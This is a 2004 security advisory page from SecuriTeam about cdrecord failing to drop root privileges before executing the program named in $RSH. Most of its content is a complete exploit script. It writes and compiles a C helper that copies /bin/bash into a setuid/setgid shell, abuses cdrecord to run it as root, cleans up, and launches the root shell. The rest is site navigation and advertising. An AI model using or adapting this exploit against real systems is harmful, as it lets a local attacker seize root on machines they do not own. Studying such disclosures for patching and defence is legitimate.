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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	Cdrecord RSH SUID Shell Creation 14 Sep. 2004    Summary Max Vozeler found that the cdrecord program, which can be installed as suid root, fails to drop euid=0 when it exec()s a program specified by the user through the $RSH environment variable. This can be abused by a local attacker to obtain root privileges.   Credit: The information has been provided by I)ruid. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner This shell script writes out and compiles a C application which sets it's UID to it's EUID and copies a SUID shell to the current directory, compiles it, then uses cdrecord's use of the $RSH environment variable to execute it. It then cleans up it's mess and executes the shell for convenience. *Note: This exploit is written assuming your target shell is bash Max Vozeler is credited with discovering this vulnerability as stated in the Mandrake Linux security advisory MDKSA-2004:091. Exploit Code: #!/bin/bash # # cdrecord-suidshell.sh - I)ruid [CAU] (09.2004) # # Exploits cdrecord's exec() of $RSH before dropping privs # cat > ./cpbinbash.c << __EOF__ #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> main( int argc, char *argv[] ) {         int fd1, fd2;         int count;         char buffer[1];         /* Set ID's */         setuid( geteuid() );         setgid( geteuid() );         /* Copy the shell */         if ((fd1=open( "/bin/bash", O_RDONLY))<0)                 return -1;         if ((fd2=open( "./bash", O_WRONLY|O_CREAT))<0)                 return -1;         while((count=read(fd1, buffer, 1)))                 write(fd2, buffer, count);         free(buffer);         close( fd1 );         close( fd2 );         /* Priv the shell */         chown( "./bash", geteuid(), geteuid() );         chmod( "./bash", 3565 ); } __EOF__ cc ./cpbinbash.c -o ./cpbinbash # Set up environment export RSHSAVE=$RSH export RSH=./cpbinbash # Sploit cdrecord dev= REMOTE:CAU:1,0,0 - # Cleanup rm cpbinbash* export RSH=$RSHSAVE export RSHSAVE= # Use our suid bash ./bash -p  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS Progea Movicon TCPUploadServer Remote Exploit Trango Broadband Wireless Rogue SU Authentication Bug Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow Family Connections Multiple Remote Vulnerabilities VideoCache vccleaner Root Vulnerability QuickHeal Antivirus 2010 Local Privilege Escalation DubSite CMS Cross Site Request Forgery Vulnerability SonicWall Global Management System XSS Vulnerability Sonicwall NSA E7500 XSS Vulnerability Juniper Security Threat Response Manager XSS Vulnerability Hacking CSRF Tokens using CSS History Hack Sun Java System Identiy Manager Users Enumeration Microsoft Internet Explorer XML Buffer Overflow (Exploit)  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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